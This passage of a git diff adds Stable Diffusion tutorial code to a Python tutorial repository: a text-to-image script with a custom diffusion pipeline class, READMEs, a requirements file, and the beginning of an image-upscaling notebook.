"_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ff35f85d2db0404da5e01fbda308197a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_34714076cb4b479eab2c5ec6a6c7d50e", + "max": 1719312805, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_22d3e015ffd24db8aa145fab92c1901c", + "value": 1719312805 + } + } + } + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/stable-diffusion-models/README.md b/machine-learning/stable-diffusion-models/README.md new file mode 100644 index 00000000..322e7759 --- /dev/null +++ b/machine-learning/stable-diffusion-models/README.md @@ -0,0 +1 @@ +# [How to Generate Images from Text using Stable Diffusion in Python](https://www.thepythoncode.com/article/generate-images-from-text-stable-diffusion-python) \ No newline at end of file diff --git a/machine-learning/stable-diffusion-models/generate_images_from_text_stablediffusion.py b/machine-learning/stable-diffusion-models/generate_images_from_text_stablediffusion.py new file mode 100644 index 00000000..1edeccc6 --- /dev/null +++ b/machine-learning/stable-diffusion-models/generate_images_from_text_stablediffusion.py @@ -0,0 +1,372 @@ +# %% +%pip install --quiet --upgrade diffusers transformers accelerate + +# %% +# The xformers package is mandatory to be able to create several 768x768 images. +%pip install -q xformers==0.0.16rc425 + +# %% [markdown] +# # Using Dreamlike Photoreal + +# %% +from diffusers import StableDiffusionPipeline +import torch + +# %% +model_id = "dreamlike-art/dreamlike-photoreal-2.0" +pipe = StableDiffusionPipeline.from_pretrained(model_id, torch_dtype=torch.float16) +pipe = pipe.to("cuda") + +# %% +prompts = ["Cute Rabbit, Ultra HD, realistic, futuristic, sharp, octane render, photoshopped, photorealistic, soft, pastel, Aesthetic, Magical background", + "Anime style aesthetic landscape, 90's vintage style, digital art, ultra HD, 8k, photoshopped, sharp focus, surrealism, akira style, detailed line art", + "Beautiful, abstract art of a human mind, 3D, highly detailed, 8K, aesthetic"] + +images = [] + +# %% +for i, prompt in enumerate(prompts): + image = pipe(prompt).images[0] + image.save(f'result_{i}.jpg') + images.append(image) + +# %% +images[0] + +# %% +images[1] + +# %% +images[2] + +# %% [markdown] +# # Manually working with the different components + +# %% +import torch +from torch import autocast +import numpy as np + +from transformers import CLIPTextModel, CLIPTokenizer + +from diffusers import AutoencoderKL +from diffusers import LMSDiscreteScheduler +from diffusers import UNet2DConditionModel +from diffusers.schedulers.scheduling_ddim import DDIMScheduler + +from tqdm import tqdm +from PIL import Image + +# %% +class ImageDiffusionModel: + + def __init__(self, vae, tokenizer, text_encoder, unet, + scheduler_LMS, scheduler_DDIM): + self.vae = vae + self.tokenizer = tokenizer + self.text_encoder = text_encoder + self.unet = unet + self.scheduler_LMS = scheduler_LMS + self.scheduler_DDIM = scheduler_DDIM + self.device = 'cuda' if torch.cuda.is_available() else 'cpu' + + + def get_text_embeds(self, text): + # tokenize the text + text_input = self.tokenizer(text, + padding='max_length', + max_length=tokenizer.model_max_length, + truncation=True, + return_tensors='pt') + # embed the text + with torch.no_grad(): + text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0] + + return text_embeds + + def get_prompt_embeds(self, prompt): + # get conditional prompt embeddings + cond_embeds = self.get_text_embeds(prompt) + # get unconditional prompt embeddings + uncond_embeds = self.get_text_embeds([''] * len(prompt)) + # concatenate the above 2 embeds + prompt_embeds = torch.cat([uncond_embeds, cond_embeds]) + return prompt_embeds + + def get_img_latents(self, + text_embeds, + height=512, width=512, + num_inference_steps=50, + guidance_scale=7.5, + img_latents=None): + # if no image latent is passed, start reverse diffusion with random noise + if img_latents is None: + img_latents = torch.randn((text_embeds.shape[0] // 2, self.unet.in_channels,\ + height // 8, width // 8)).to(self.device) + # set the number of inference steps for the scheduler + self.scheduler_LMS.set_timesteps(num_inference_steps) + # scale the latent embeds + img_latents = img_latents * self.scheduler_LMS.sigmas[0] + # use autocast for automatic mixed precision (AMP) inference + with autocast('cuda'): + for i, t in tqdm(enumerate(self.scheduler_LMS.timesteps)): + # do a single forward pass for both the conditional and unconditional latents + latent_model_input = torch.cat([img_latents] * 2) + sigma = self.scheduler_LMS.sigmas[i] + latent_model_input = latent_model_input / ((sigma ** 2 + 1) ** 0.5) + + # predict noise residuals + with torch.no_grad(): + noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample'] + + # separate predictions for unconditional and conditional outputs + noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2) + # perform guidance + noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond) + + # remove the noise from the current sample i.e. go from x_t to x_{t-1} + img_latents = self.scheduler_LMS.step(noise_pred, t, img_latents)['prev_sample'] + + return img_latents + + + def decode_img_latents(self, img_latents): + img_latents = img_latents / 0.18215 + with torch.no_grad(): + imgs = self.vae.decode(img_latents)["sample"] + # load image in the CPU + imgs = imgs.detach().cpu() + return imgs + + + + def transform_imgs(self, imgs): + # transform images from the range [-1, 1] to [0, 1] + imgs = (imgs / 2 + 0.5).clamp(0, 1) + # permute the channels and convert to numpy arrays + imgs = imgs.permute(0, 2, 3, 1).numpy() + # scale images to the range [0, 255] and convert to int + imgs = (imgs * 255).round().astype('uint8') + # convert to PIL Image objects + imgs = [Image.fromarray(img) for img in imgs] + return imgs + + + + def prompt_to_img(self, + prompts, + height=512, width=512, + num_inference_steps=50, + guidance_scale=7.5, + img_latents=None): + + # convert prompt to a list + if isinstance(prompts, str): + prompts = [prompts] + + # get prompt embeddings + text_embeds = self.get_prompt_embeds(prompts) + + # get image embeddings + img_latents = self.get_img_latents(text_embeds, + height, width, + num_inference_steps, + guidance_scale, + img_latents) + # decode the image embeddings + imgs = self.decode_img_latents(img_latents) + # convert decoded image to suitable PIL Image format + imgs = self.transform_imgs(imgs) + + return imgs + + + + def encode_img_latents(self, imgs): + if not isinstance(imgs, list): + imgs = [imgs] + + imgs = np.stack([np.array(img) for img in imgs], axis=0) + # scale images to the range [-1, 1] + imgs = 2 * ((imgs / 255.0) - 0.5) + imgs = torch.from_numpy(imgs).float().permute(0, 3, 1, 2) + + # encode images + img_latents_dist = self.vae.encode(imgs.to(self.device)) + # img_latents = img_latents_dist.sample() + img_latents = img_latents_dist["latent_dist"].mean.clone() + # scale images + img_latents *= 0.18215 + + return img_latents + + + def get_img_latents_similar(self, + img_latents, + text_embeds, + height=512, width=512, + num_inference_steps=50, + guidance_scale=7.5, + start_step=10): + + # set the number of inference steps for the scheduler + self.scheduler_DDIM.set_timesteps(num_inference_steps) + + if start_step > 0: + start_timestep = self.scheduler_DDIM.timesteps[start_step] + start_timesteps = start_timestep.repeat(img_latents.shape[0]).long() + + noise = torch.randn_like(img_latents) + img_latents = scheduler_DDIM.add_noise(img_latents, noise, start_timesteps) + + # use autocast for automatic mixed precision (AMP) inference + with autocast('cuda'): + for i, t in tqdm(enumerate(self.scheduler_DDIM.timesteps[start_step:])): + # do a single forward pass for both the conditional and unconditional latents + latent_model_input = torch.cat([img_latents] * 2) + + # predict noise residuals + with torch.no_grad(): + noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample'] + + # separate predictions for unconditional and conditional outputs + noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2) + # perform guidance + noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond) + + # remove the noise from the current sample i.e. go from x_t to x_{t-1} + img_latents = self.scheduler_DDIM.step(noise_pred, t, img_latents)['prev_sample'] + + return img_latents + + + def similar_imgs(self, + img, + prompt, + height=512, width=512, + num_inference_steps=50, + guidance_scale=7.5, + start_step=10): + + # get image latents + img_latents = self.encode_img_latents(img) + + if isinstance(prompt, str): + prompt = [prompt] + + text_embeds = self.get_prompt_embeds(prompt) + + img_latents = self.get_img_latents_similar(img_latents=img_latents, + text_embeds=text_embeds, + height=height, width=width, + num_inference_steps=num_inference_steps, + guidance_scale=guidance_scale, + start_step=start_step) + + imgs = self.decode_img_latents(img_latents) + imgs = self.transform_imgs(imgs) + # Clear the CUDA cache + torch.cuda.empty_cache() + + return imgs + + +# %% +device = 'cuda' + +# model_name = "dreamlike-art/dreamlike-photoreal-2.0" +model_name = "CompVis/stable-diffusion-v1-4" +# Load autoencoder +vae = AutoencoderKL.from_pretrained(model_name, + subfolder='vae').to(device) + +# Load tokenizer and the text encoder +tokenizer = CLIPTokenizer.from_pretrained(model_name, subfolder="tokenizer") +text_encoder = CLIPTextModel.from_pretrained(model_name, subfolder="text_encoder").to(device) + +# Load UNet model +unet = UNet2DConditionModel.from_pretrained(model_name, subfolder='unet').to(device) + +# Load scheduler +scheduler_LMS = LMSDiscreteScheduler(beta_start=0.00085, + beta_end=0.012, + beta_schedule='scaled_linear', + num_train_timesteps=1000) + +scheduler_DDIM = DDIMScheduler(beta_start=0.00085, + beta_end=0.012, + beta_schedule='scaled_linear', + num_train_timesteps=1000) + +# %% +model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM) + +prompts = ["A really giant cute pink barbie doll on the top of Burj Khalifa", + "A green, scary aesthetic dragon breathing fire near a group of heroic firefighters"] + +imgs = model.prompt_to_img(prompts) + +# %% +imgs[0] + +# %% +imgs[1] + +# %% +prompt = ["Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon"] + +imgs = model.prompt_to_img(prompt) + +imgs[0] + +# %% +# saving the image +imgs[0].save("spaceship1.png") + +# %% +# loading the image again +original_img = Image.open("spaceship1.png") +original_img + +# %% +import torch +import gc + +### If you get OOM errors, execute this cell +# del model +# Clear the CUDA cache +torch.cuda.empty_cache() +gc.collect() +torch.cuda.empty_cache() + +# %% +!nvidia-smi + +# %% +model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM) + +prompt = "Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon" + +imgs = model.similar_imgs(original_img, prompt, num_inference_steps=50, start_step=30) +imgs[0] + +# %% +# model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM) + +prompt = "Aesthetic dark star wars spaceship, Ultra HD, futuristic, sharp, octane render, neon" + +imgs = model.similar_imgs(original_img, prompt, + num_inference_steps=50, + start_step=40) +imgs[0] + +# %% + + +# %% + + +# %% + + + diff --git a/machine-learning/stable-diffusion-models/requirements.txt b/machine-learning/stable-diffusion-models/requirements.txt new file mode 100644 index 00000000..9033779d --- /dev/null +++ b/machine-learning/stable-diffusion-models/requirements.txt @@ -0,0 +1,4 @@ +diffusers +transformers +accelerate +xformers==0.0.16rc425 \ No newline at end of file diff --git a/machine-learning/stable-diffusion-upscaler/README.md b/machine-learning/stable-diffusion-upscaler/README.md new file mode 100644 index 00000000..3ae8e02d --- /dev/null +++ b/machine-learning/stable-diffusion-upscaler/README.md @@ -0,0 +1 @@ +# [How to Upscale Images using Stable Diffusion in Python](https://www.thepythoncode.com/article/upscale-images-using-stable-diffusion-x4-upscaler-huggingface) \ No newline at end of file diff --git a/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb b/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..3fdee1e8 --- /dev/null +++ b/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb @@ -0,0 +1,7341 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "-C875CYSCygt", + "outputId": "dd991ed9-d57f-4e5b-bee3-bcb6882369d9" + }, + "outputs": [], + "source": [ + "!pip install -qU diffusers transformers accelerate scipy safetensors" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "mAHWEPSfUlmg" + }, + "source": [ + "# Hugging Face Implementation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "jor1D7LvDA9l" + }, + "outputs": [], + "source": [ + "import requests\n", + "from PIL import Image\n", + "from io import BytesIO\n", + "from diffusers import StableDiffusionUpscalePipeline\n", + "import torch" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 465, + "referenced_widgets": [ + "bc72d593b56c42899ff4779e92bcf818", + "cabab037d12a455bbd283477e481d4ca", + "7cdde9f1b0f1403ababc0e3e120617c4", + "28c075d27bf8437c99b4fa8091d4d2c0", + "7c5bcff9ea9344dca52dbaa4a6545b50", + "2b68707a9749479cab4b4ecd124d87cb", + "e7274e83d2c44080bbbb2fc5ec79dfee", + "238d055bf5ff4891b2e9c6aa28a89fad", + "66a8f48777064cab94ebdfb44044fec7", + "c883ad6804cd4f628494b1eb7f432e51", + "6f1c7458863047598f98861765f325dd", + "6d0c44b7df564b87a2a688d770188184", + "502d0b0ef4c549b485c049a2dae9b4f1", + "67e1ee8ac39743d2a50db01595591f22", + "419cb861b6e84999a3708fd19b0295c6", + "fcc7b1147ad94a01ae49b4268e85d310", + "f931614414ba46adaab4c0522e65ebf8", + "e926a97d3f6149318dd6f01d17e90dd5", + "58bccc7add0a45d8b8640c42d89a864c", + "b4209eed23cb45038a5c614bfe8bf3b6", + "2e922ee442bc49f8b0d7d4bd79d92683", + "4d9d00362c1c4f48b5cddc1783956732", + "8d91958b962649479d9d85927ea0e3e0", + "2f1c260b17204c08870bac68408944c4", + "9f17b8692b824c0cb9a98cea381699a9", + "9a8c5af4272b4da0ba4aafa4da89817b", + "e04b95f508b7431c9f4ee9159e3b5b13", + "5896923dddc0466a9023c09c738f404a", + "f874ed5ecd6f4eed976ed24b0be4ae51", + "cdcf280e7a3043c2a1d59e0eea379d96", + "2e945d3f81204a538874a0a832102d15", + "417a14ed83ba4535bf47a39b9298aa4f", + "c797a3a49d1d44598e8810817eac04f6", + "659bd00aed7f4a41a843432966a1ccbf", + "274e736175d34926a0c614192288e510", + "a266a0d0bdde4a3aa09fec6a0a00abed", + "f78f911cd0ac4cdc8fdcbcb29f1a201b", + "9e0fde0538f84469bd62e9ea9f589b4f", + "bce74d8ba4dd4a35bd276ba2dbf0ffd1", + "f24b18d71065474a9f169b4fd66898f6", + "bc60bbefdc2a490588dd8f58327fd264", + "3119598ffcab4d6f9d1642ee595736ee", + "90c7965cfde540158d9e7cb049c2d7d3", + "b991b21d18ec471fb18b291a0c10aa6e", + "76fd2fe6247a48b7b3a6cc6eef8c9fa7", + "29da49469545454997e755839f8c156d", + "58aa60b3b1af45d2bdd8870dedd3cb67", + "f931d10a75ab4aafb1d6b92a0ba622b3", + "b67319578dc84245ad16cb8d25d3173c", + "d62c5143fa1544ba9e2d22555dc6c3f9", + "ba72519befe047eabb826d1f7ec0e39c", + "e76b29381c114f808b3454fb122e8d10", + "a1d133bc8fe344e2aed80fe5155177c3", + "5d3f04417ce64f80a2843e74bf6208f7", + "341fa26d73394e6cb71498a9c95b458c", + "6030f4bc6af8461abdc66e4599ef3f1f", + "818b00fb8ff04eadb9ccd1bdfe192807", + "44480a036c3c4442baa95d6288e83546", + "50949912a3ee403e8ddb328e62b61c0d", + "8dd862f24b164fc68664c30b3d241e62", + "aea53b42c35947c58d2c113bd2043078", + "02ce6e12de0f4ff1ab8029cf16e5fb99", + "520e09d44ecf488b93694eebe4a02147", + "5959385589b344b2bd8fc108067db8a3", + "b5a46aec8d594d02b618b9d59e4f4518", + "9ee85e252d32428ea44a91c71cd62a36", + "bfc87d61a154451294fa790fc30075ea", + "c8cabf1d8ffe421296725d8494ba0d3b", + "28fe7cfc4f4048eca1120a7228dcd629", + "9ecd3535823549bbbcbf3f131704d3eb", + "03b9fb0d0fa44ac8bf1a6aa678ff82c8", + "59b6eeeaf9464da891bf214ef1bbb7c2", + "7d3baaa3ab784895a59534261f43ce7d", + "8f487d06f9834f1b8dd0a63ffec62436", + "ee5e249b357649ab95d493d940bc3b01", + "9af01c4399c74223b5d7f94bd48d6952", + "aa44d82861804483b44e0f893b698b72", + "b7aa53a4de824d7fbec2a07c1771bc24", + "17c87915e01b4d2fa79042759bf1a57d", + "bafabfceff6e4f76b900878a4077337e", + "5d1c6a49ce6f4596946a2fd91bec3312", + "795329002e034ec4aead224cf74ea361", + "29fb67ab990343b6a374b35718b8a6c1", + "0854db4c71b449a9b15e994a38a1ca13", + "cd437bc3e2194f1a8c5e83ec98745b58", + "18ba1c9da9714f2494c06570e4dc1d64", + "085ee070cea44624806bcc7ada5ae36e", + "45148fd42fdb47b3a5424faa3c488c25", + "fb2398f1e5ff43f7a2f81bd51bf58e2a", + "53fa5e54123446199d57c27c3ee8b091", + "07a431a9456648b6bcbfa899ee0014ac", + "2f972961c0eb411ca45b8af05cc05e3b", + "6525d3514cee42f3bd14bdf898b63ad2", + "c8ba37c669974bbea2face17223d2bb4", + "c87c0b939bbe4e56b46fca4aa580f75a", + "639d6afb1b0440f98ce7e26cb621a111", + "7a9ce1cc3d71457797b0b1ca2831d514", + "c826a36c99ae462abccdc59266c404d3", + "5ef86b91d359434a9aa4787dc727cb1b", + "62bd9e1add374b9e90c54275bd2e0449", + "0d89ddfa9593441097ce8e42614ef775", + "e85ceff770654ef1bd935f54ca32ee07", + "d0716d01bfdf43ba88f8bbfd63d3285a", + "f6579ff0c08648309711a654ec3de748", + "665a3a25e6d543d79e2e321aec4954aa", + "d3971f94fa5f433580509a27ce3ad017", + "d801dfb1d399475e995ca9106f9b3a4d", + "ed75698d0ffe4bcf886c72d276bbee17", + "a9ab859e76814985877a4bacdb04e95a", + "1df97f1113c34b7eb89c7d1c6a81b3bd", + "fc9a8403148c431e8b0200d40c6efcb7", + "8b24a6ee676942ddaa27f44902ef2ac5", + "5b74c15d312f404e88323771b08b0aeb", + "7ad5acf646b44af2a1d8558abbb59199", + "d22523983b9a4c71a3057f3a281895ee", + "c081010577e7490eae450d69b0458a74", + "d011d28093544ae692f90a7380908275", + "a25cd36e4deb410f9ee54a92a18c939c", + "00cdbd64ce7d4b5a835a550ffc6b3510", + "7cc78829c6b744c380f52af44b49802a", + "03856828685f4f9791a0c00f9b4f5ed5", + "80aad8d6ac1b4b7780cd63deed9ceb11", + "0fcb664708324ec1bc56c4daa4a2dd15", + "37e24969e35c4099933ab57fac8b2599", + "efb86ed04a0d477794e70dc92219399b", + "3672f34ff79b417abb390592a3b9ed2b", + "5af1c44c0f434510abd7fe9d76f263da", + "895dd88b169e4688a51873bb1b3d2cd9", + "d3165abbffbc4da3bd4f0cb6f3437140", + "5a1be5246f2443858bd6933a89a68389", + "10d895cb5166417fa2b4cc0d2feb7b6f", + "23b55638314c4e2b967f85ab40042a6c", + "9c741e36450b4c66875df9dc3ba07507", + "cd9c9d32567f4e5aa9291f66b08490bf", + "c4995db7a62844b4a00daaf55847cabd", + "72fc113c125648538df5059fb578ae19", + "3943882166bb4470a800d9563f9e53a2", + "ad07cccdd8d44a9ab5e3458e8d902ac6", + "ff88d9a5f7d64ad7bb0f09f6c71543f1", + "080c7086e8684bb3bb857d23f426d5dd", + "37e74a92120d40ab99b8a3efeb397bd8", + "9ba492d205294bc0a8d07985ed271358", + "0a49275d970741f9b19f24569b80491a", + "4178b1767a614f89aa62f12a4e3a7350", + "c909bafccc65402fa93afea87f1b784e", + "6c32232cfb734ac3a3204a22c414fc18", + "1f37677826544166a0b63d36c9c3edac", + "a4d93e9fee48468281afac25f551806c", + "91f32130b9fc47ceaae99521c0b70015", + "e8bec5477f7c43c1a55c852ef8b7cb95", + "7a4e5fdddcd34b6cb658b94db24ba474", + "e6942466051e4a6a97c36b56d8d4e0c2", + "a8dbb00149f148ceaee2474c4304c902", + "f3c0042a67e34e72b1088b60c11ba2d0" + ] + }, + "id": "l3QZf9-UDEb0", + "outputId": "d2d9ea4c-1665-431b-c71c-bc5441522721" + }, + "outputs": [], + "source": [ + "# load model and scheduler\n", + "model_id = \"stabilityai/stable-diffusion-x4-upscaler\"\n", + "pipeline = StableDiffusionUpscalePipeline.from_pretrained(model_id, torch_dtype=torch.float16)\n", + "pipeline = pipeline.to(\"cuda\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "1rZBf5X4VfbQ" + }, + "outputs": [], + "source": [ + "def get_low_res_img(url, shape):\n", + " response = requests.get(url)\n", + " low_res_img = Image.open(BytesIO(response.content)).convert(\"RGB\")\n", + " low_res_img = low_res_img.resize(shape)\n", + " return low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 145 + }, + "id": "VSWlrXyIDGSo", + "outputId": "1153aadd-bcc2-4365-9ce8-b02590018e49" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg/"\n", + "shape = (200, 128)\n", + "low_res_img = get_low_res_img(url, shape)\n", + "\n", + "low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 561, + "referenced_widgets": [ + "c1dc0d80451c4d098f16eb6ec7eed752", + "d4c5db5f7ffe42beb2065e14cbdd755d", + "accd8a5f56cf41c5af297f8bf93f7058", + "824b0b410fed4ea1b5bc7f88236fc3e8", + "a6b2ca41ffb24b9193a83fd9a4c24a8c", + "bc9783a6d9d0437b881b01cad81c0173", + "9e5ef9fe15314ce3bf13e61994851485", + "ed9e0cfb4635476f9e31c5b48aeafde8", + "396aee75c5954aa9b634d79c18177977", + "c5f787d7f16542baa5a5657c3ecb14a0", + "be0a3bc217b04b2dbd06a90141c0dd35" + ] + }, + "id": "hPtKNnwSDA_u", + "outputId": "60b2259e-02a0-445d-da26-eca1d51b4181" + }, + "outputs": [], + "source": [ + "prompt = \"an aesthetic kingfisher\"\n", + "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 561, + "referenced_widgets": [ + "9c2ff534109548fc8cab92f3b0aefc71", + "e417a487b9ab44d68bf5d4155f4ff339", + "ce0bc6a269b841e59b3c1b00796b8605", + "b014fb9554fb4f61a8d44135a6ad4954", + "c30445a77e81411bbad4f90b8c54bc35", + "c2ccf29c76d1461c8e820cdd1091684a", + "42248bb1fb38481eaa292dbca2d68e38", + "ac71f4fe6e804f19b2529c82e5a42049", + "518150c24b25401d92cf483e5ecb0253", + "d612163ad6d24d91a6d7ee758d8d6367", + "ab1c2c3e457944acb16508cf7a721290" + ] + }, + "id": "I1hCWlwXU5ij", + "outputId": "fca3425e-973a-4951-df52-6eebba1b96e3" + }, + "outputs": [], + "source": [ + "prompt = \"an aesthetic kingfisher, UHD, 4k, hyper realistic, extremely detailed, professional, vibrant, not grainy, smooth\"\n", + "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "4H0IkHfuDBB5", + "outputId": "1fceb2fc-7e6c-492f-fc5b-cbd6d64f3d65" + }, + "outputs": [], + "source": [ + "upscaled_interpolation = low_res_img.resize((800, 512))\n", + "upscaled_interpolation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 145 + }, + "id": "xxVVHJAeDBEM", + "outputId": "f099d0db-89ef-49df-92f1-c01c861634e2" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2022/06/14/20/57/woman-7262808_1280.jpg/"\n", + "shape = (200, 128)\n", + "low_res_img = get_low_res_img(url, shape)\n", + "\n", + "low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 561, + "referenced_widgets": [ + "0c21001820524963b1214a2738c28584", + "ea062db0a1ad43af805bf2d86d26d369", + "2218df295404427eb6086c25f41946c5", + "682dc899e5ee4e24a9c0f1fc928fea6c", + "f8c3945c2c554cc9b7ea7435525c4ab4", + "b9cf936d26124cad959de16fcf5bea63", + "b3ae18d50eb4415b950f98bb38362207", + "0df5b95ccc3d4550bb1be7c001f54577", + "63a7a29ac462471eb67b275c68faff42", + "1ae88e18373a4322bddf0e51e5460a89", + "9b2140d07da744348068f013152b1160" + ] + }, + "id": "UKtH894dXWHN", + "outputId": "44bfe391-7abe-4b99-bfd3-b19e755bfdaa" + }, + "outputs": [], + "source": [ + "prompt = \"an old lady\"\n", + "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 561, + "referenced_widgets": [ + "cf11071b7b114118a8b0b659167fa09e", + "03bce4ac84fd40d485b023e21fe65c4f", + "d0e9965e6aa4483da2dfa546b896e645", + "22338ed9cec54338ad33267ed579603a", + "622d32a9bbda46fca3ee0733be303765", + "ec0c44e82a814774823e60634d678b0d", + "e71abb2ba1b546ff9d7acd0c174f60d4", + "1237bd63fa814b57bbd9741296d71f46", + "5b3ca63a1af5452cb81fde6020fd9c53", + "a5971d5b793545a3845fbe1029b557e1", + "8384173365364cd5996018a775b167e2" + ] + }, + "id": "L8fnlZsaDBHw", + "outputId": "9215669a-61be-4a6e-cd6b-85d212df6517" + }, + "outputs": [], + "source": [ + "prompt = \"an iranian old lady with black hair, brown scarf, rock background\"\n", + "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "OTJNWtuyXOnE", + "outputId": "fe9eb4f3-f7b9-481f-b17b-e2028737141e" + }, + "outputs": [], + "source": [ + "upscaled_interpolation = low_res_img.resize((800, 512))\n", + "upscaled_interpolation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 145 + }, + "id": "dXXzMj7vXf5W", + "outputId": "1895b5c9-d87e-48e8-c580-97a3b81838ed" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2017/12/28/07/44/zebra-3044577_1280.jpg/"\n", + "shape = (450, 128)\n", + "low_res_img = get_low_res_img(url, shape)\n", + "\n", + "low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 453, + "referenced_widgets": [ + "64373eefa4884b3084975549efcbd7fe", + "d8b3f3c7b8394b5580d8541f20c090ae", + "634af1f0b6894726bebb7b546c667169", + "5b89e69b011a40918b1acc0adf141874", + "9c01417376444eed820394ef843c0be3", + "db833b8a924f43208063cdc7b74220f7", + "d74c7ced9e5841e0a3635bf848912874", + "6a72b26cbdf041e7a8331fdc1642dee5", + "3c4dca0b51954031905bada22feef684", + "1e276839600443fa82ca0ab00409fd99", + "639d147ac3674094be21de9f3c11477c" + ] + }, + "id": "xjH0CWRHXf7o", + "outputId": "b1ed8851-6243-43b8-d995-93129640b70d" + }, + "outputs": [], + "source": [ + "prompt = \"zebras drinking water\"\n", + "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 419 + }, + "id": "ydbUyEFvXf_E", + "outputId": "3028b021-c4a0-4f19-8a2e-0a3e4b19f348" + }, + "outputs": [], + "source": [ + "upscaled_interpolation = low_res_img.resize((1800, 512))\n", + "upscaled_interpolation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "MFt4Y1AoYWse" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Ng2oJwHqYWvz" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "NiM8uOTr9DK3" + }, + "source": [ + "# Custom\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "yCuWhxws9D24" + }, + "outputs": [], + "source": [ + "from tqdm import tqdm\n", + "from torch import autocast" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "T7PrARPl9EN2" + }, + "outputs": [], + "source": [ + "class CustomSDUpscalingPipeline:\n", + " \"\"\"custom implementation of the Stable Diffusion Upscaling Pipeline\"\"\"\n", + "\n", + " def __init__(self,\n", + " vae,\n", + " tokenizer,\n", + " text_encoder,\n", + " unet,\n", + " low_res_scheduler,\n", + " scheduler,\n", + " image_processor):\n", + "\n", + " self.vae = vae\n", + " self.tokenizer = tokenizer\n", + " self.text_encoder = text_encoder\n", + " self.unet = unet\n", + " self.low_res_scheduler = low_res_scheduler\n", + " self.scheduler = scheduler\n", + " self.image_processor = image_processor\n", + " self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n", + "\n", + "\n", + "\n", + " def get_text_embeds(self, text):\n", + " \"\"\"returns embeddings for the given `text`\"\"\"\n", + "\n", + " # tokenize the text\n", 